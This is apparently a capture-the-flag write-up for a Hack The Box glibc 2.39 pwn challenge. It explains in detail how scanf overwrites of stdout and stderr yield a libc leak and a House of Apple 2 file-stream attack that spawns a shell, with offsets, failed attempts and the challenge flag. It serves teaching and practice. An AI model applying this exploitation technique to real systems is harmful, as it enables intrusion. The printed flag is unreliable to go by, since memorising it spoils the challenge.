HTB Cyber Apocalypse 2026 - The Salt Crown: Pwn / The Emptiness Machine (Medium)

A ten-line main calls scanf twice with stdout and stderr as the destination - writing straight into the libc FILE structures. Textbook File Stream Oriented Programming (FSOP), except that the obvious reading of %s makes the challenge look unsolvable. It is not: \0 is not white space. The libc ships with the challenge - Ubuntu GLIBC 2.39-0ubuntu8.7 - and every offset below comes from it.

1. Download

PIE with a bundled loader and libc 2.39. The PT_INTERP is the relative path ./glibc/ld-linux-x86-64.so.2, so the binary only starts from inside challenge/.

2. Docker/nc - what we get

The remote is a plain nc-style TCP service. On connect it prints a large Braille-art figure, then two prompts. The prose is set in Unicode mathematical italics - worth noting, because it means strings will not find any of it:

So: one prompt, and feeding it anything ordinary kills the process at exit. That crash is already the whole challenge in miniature - the input landed inside a libc FILE struct and broke it. A clean run offers two prompts:

3. Analysis steps

3.1 Read main (success)

stdout and stderr are imported via R_X86_64_COPY, so the binary's .bss holds the pointer value, not the structure:

Conclusion: scanf writes directly into the libc FILE structures. 224 == 0xe0 == sizeof(struct _IO_FILE_plus) - one complete FILE struct including the vtable pointer. main returns, exit() runs, _IO_cleanup() -> _IO_flush_all() walks the FILE chain. This is FSOP.

3.2 Pull the libc layout offline - and hit the RELR trap (failed, then fixed)

No debugger is available (see 3.7), so the static initial state of _IO_2_1_stderr_ has to come from parsing libc.so.6. The first relocation parser walked .rela.dyn, filtered R_X86_64_RELATIVE and found zero entries - while the raw .data bytes clearly contained link-time addresses.

Ubuntu 24.04 links its libc with -z pack-relative-relocs. All relative relocations moved into DT_RELR, a bitmap encoding: an even qword is an address, an odd qword is a bitmap for the next 63 slots.

That recovers 1067 relocations from 256 bytes - as RELA they would need 1067 x 24 = 25608 bytes.

Conclusion: A tool that only knows .rela.* sees a libc in which every static pointer looks like NULL - i.e. stderr would appear to be a completely unusable FILE object. Decoded correctly, the initial state is sane: _lock = libc+0x205700, _wide_data = libc+0x2036e0, vtable = libc+0x202030. And the key layout fact: _IO_2_1_stdout_ == _IO_2_1_stderr_ + 0xe0 - the two structs sit back to back, so the 224-byte write ends exactly at stdout->_flags.

3.3 Assume %s cannot write NUL bytes (failed)

The obvious objection to the whole approach: a pointer is 0x00007f..., two zero bytes at the top, and %s supposedly cannot store NUL. The only zero byte available would be the terminator scanf appends.

That gives exactly one pointer per scanf call: end the input so the terminator falls on byte 6 of an 8-byte field whose byte 7 is already zero. Everything else in the payload must be non-zero, and therefore cannot be a pointer.

Conclusion: Work out what one pointer can buy. That question turns out to be worth answering even though the premise is wrong.

3.4 What is callable from the vtable section? (failed)

IO_validate_vtable only checks that the vtable pointer lies inside __libc_IO_vtables - not that it points at the start of a vtable, and not that it is aligned. So the window can be slid in 8-byte steps, moving any function pointer in the section into the __overflow slot. That makes the section content the complete menu of callable functions.

Conclusion: No system, no execve, no one-gadget - and nothing that reaches one in a further dereference, because every slot points into .text. So the only place where an attacker-chosen address can enter rip is the one indirection glibc does not validate: _IO_WDOALLOCATE(fp) == fp->_wide_data->_wide_vtable->__doallocate. And that needs three pointers, not one.

3.5 Five attempts to close the gap (all failed)

Three pointers needed, one available. Each of these tries to source the missing ones from somewhere else. All were run in the container; the failure table is reproducible with deadends.py.

Attempt	Why it fails
(i) alias the vtable onto `_wide_data`	SIGSEGV: `_IO_wfile_overflow` writes `_wide_data->_IO_write_ptr`, i.e. into `.data.rel.ro`
(ii) keep `_wide_data` original, spend the pointer on the vtable	exit 1: the genuine `_IO_wide_data_2` has the genuine `_IO_wfile_jumps`, so `_IO_WDOALLOCATE` calls the real `_IO_wfile_doallocate`. Original `_wide_data` and control flow are mutually exclusive.
(iii) source a second pointer from `stdout`	`new_do_write` unconditionally resets `stdout+0x08..+0x40` to `&_shortbuf` after the leak. The only surviving field is `_flags`, which must keep `0xfbad....` - and a qword with `ad fb` in bytes 2/3 is never a canonical address.
(iv) fake FILE through `_chain`	needs a valid vtable pointer at `fake+0xd8`; the only libc addresses holding one put `fake` on top of a struct whose other fields are not controlled
(v) heap primitives	there is a `free()` of a controlled pointer at exit (that is the `munmap_chunk()` seen in section 2), but no `malloc` follows it, and `setbuf(stdin, NULL)` means stdin never gets a heap buffer either

3.6 The escape hatch that does not exist (failed)

_IO_JUMPS_FUNC does not read the vtable pointer from a fixed fp+0xd8 - it adds _vtable_offset, a signed char at 0x82. That would let the vtable come from anywhere in fp+0x58 ... fp+0x157, freeing up the field that currently costs a pointer. Several variants were built on this.

The test: take the working payload and change nothing except _vtable_offset. If the field is honoured, the vtable is read from fp+0x118 (garbage) and glibc aborts.

Conclusion: _vtable_offset is ignored on x86-64. In libioP.h the offset-aware macro is guarded by _IO_JUMPS_OFFSET, set only when the build has SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) - x86-64 never had a GLIBC_2.0. Every variant derived from that field was architecturally impossible from the start. This also re-reads the earlier SIGABRTs correctly: those payloads left fp+0xd8 at zero expecting the offset to redirect the read, so the abort was never evidence about wide-data aliasing - it was evidence that the offset field does nothing.

3.7 The resolution: %s stops on white space (success)

At this point the evidence was: one pointer is not enough, none of the five routes closes the gap, and the only unvalidated indirection needs three. So either the challenge is unsolvable, or the premise in 3.3 is wrong.

It was wrong. C99 7.21.6.2: %s matches "a sequence of non-white-space characters". isspace('\0') == 0, so __vfscanf_internal stores the NUL like any other character and keeps reading. The forbidden set is exactly:

Conclusion: All 224 bytes are freely choosable, NUL included. Three pointers are trivial and House of Apple 2 falls out immediately. The only remaining restriction: none of the leaked libc addresses may contain a white-space byte - with ~15 ASLR-dependent bytes that works out about 70% of the time, so the exploit just reconnects.

3.8 Stage 1 - the libc leak (success)

setbuf(stdout, NULL) leaves every pointer aimed at &stdout->_shortbuf (= stdout+0x83), i.e. zero bytes of room. Send exactly 32 bytes so the terminator lands on offset 0x20 - the least significant byte of _IO_write_base.

With _flags = 0xfbad1801 the next printf finds no room, calls _IO_OVERFLOW(fp, EOF) and ends in _IO_do_write(f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base). _shortbuf is at stdout+0x83, stdout low byte is 0xc0, so the dump is exactly 0xc0 + 0x83 = 0x43 bytes.

Conclusion: Length 0x43 exactly as predicted, and the field values at +0x00/+0x28/+0x30/+0x38 match - that turns the derivation into a fact. libc base = leak - 0x204644. The prompt follows the dump, so program flow is intact and the leak is inconspicuous.

3.9 Stage 2 - House of Apple 2, and the command string (success)

stderr was never used, so it is still in its static initial state. Rebuild all 224 bytes. The catch: system(fp) is called with rdi = &_IO_2_1_stderr_, so the struct's own first bytes are the command string - and byte 0 is also byte 0 of _flags.

So the first character must satisfy c & 0x0a == 0. That rules out 's' (0x73 & 0x0a = 0x02), and white space is out anyway, so sh -c "exec sh" is not an option either.

The answer is $0: '$' = 0x24, and 0x24 & 0x0a == 0. This is not the exploited process' argv[0] - it is a shell variable that only exists inside the shell system() spawns. glibc runs execl("/bin/sh", "sh", "-c", command, NULL), and POSIX says that with command_name omitted, $0 is the shell's own name:

The third line is the decisive one: the spawned sh reads commands from stdin, i.e. from the socket. _flags ends up as 0x00003024, both critical bits clear.

The fake structures go inside the FILE struct at negative offsets, so no heap is needed:

Conclusion:

_IO_flush_all -> _IO_wfile_overflow -> _IO_wdoallocbuf
  -> fp->_wide_data->_wide_vtable->__doallocate(fp) == system(fp)

. Two things that bite otherwise: _lock must be a usable lock (_IO_flush_all calls _IO_flockfile first), and the terminator lands on stderr+0xe0 = stdout->_flags - harmless, since stderr is flushed first.

4. Solution

Two supporting scripts reproduce the failed steps: deadends.py (the failure table from 3.5) and vtoff_test.py (the _vtable_offset experiment from 3.6).

5. Run it

Host is arm64 macOS, target is x86-64, so everything runs in an amd64 container:

Roughly 30% of connections produce a libc base whose bytes contain white space somewhere in the payload; the exploit detects that before sending and reconnects, up to 30 times.

Flag

HTB{f4ll1ng_4_th3_pr0m1s3_0f_th3_3mptin355_m4ch1ne :)_9f4aeae0635f0331cb4624516a247878}

6. Summary of how the exploit works

#	Stage	Mechanism
1	The bug	`scanf("%40s", stdout)` and `scanf("%224s", stderr)` write into the libc FILE structs, because `R_X86_64_COPY` puts the pointer value in `.bss`. 224 bytes is one complete `_IO_FILE_plus`.
2	The key insight	`%s` stops on white space, and `\0` is not white space. All 224 bytes are freely choosable, so pointers can be written.
3	Leak	Send exactly 32 bytes so the terminator zeroes the low byte of `stdout->_IO_write_base`. The next `printf` flushes `0x43` bytes of `_IO_2_1_stdout_` to fd 1; the first qword is `_IO_buf_end`, giving the libc base.
4	FSOP	Rebuild `_IO_2_1_stderr_` completely. At `exit()`, `_IO_flush_all` reaches `_IO_wfile_overflow` -> `_IO_wdoallocbuf` -> `_wide_data->_wide_vtable->__doallocate(fp)` - the one indirect call glibc does not validate.
5	No heap needed	The fake `_IO_wide_data` and fake wide vtable are laid into the FILE struct itself at negative offsets (`fp-0x10`, `fp-0x38`), which works because the struct's address is known after the leak.
6	Shell	`system(fp)` with `fp` pointing at `_flags`, so the struct's first bytes are the command. `$0` passes the flag-bit constraint `c & 0x0a == 0` and expands to `sh`, which then reads commands from the socket.

Lessons learned

What the setup could not do

gdb cannot attach under the emulation (PTRACE_GETREGS: Input/output error), and --cap-add SYS_PTRACE --security-opt seccomp=unconfined does not help, because the limitation is in the binary translation layer. No breakpoints, no single-stepping, no reading _IO_2_1_stderr_ at runtime - which is why the offline libc.so.6 parsing in step 3.2 mattered as much as it did. Failures could only be classified by exit signal plus whatever glibc printed: SIGABRT + "invalid stdio handle" points at _IO_vtable_check, SIGSEGV at a bad dereference, munmap_chunk() at free(). That is indirect evidence, and it is exactly why the _vtable_offset misreading survived as long as it did - the first abort looked like it confirmed the model. The differential experiment in 3.6 - change one byte in a known-good payload, see whether the outcome changes - is the technique that replaced the debugger.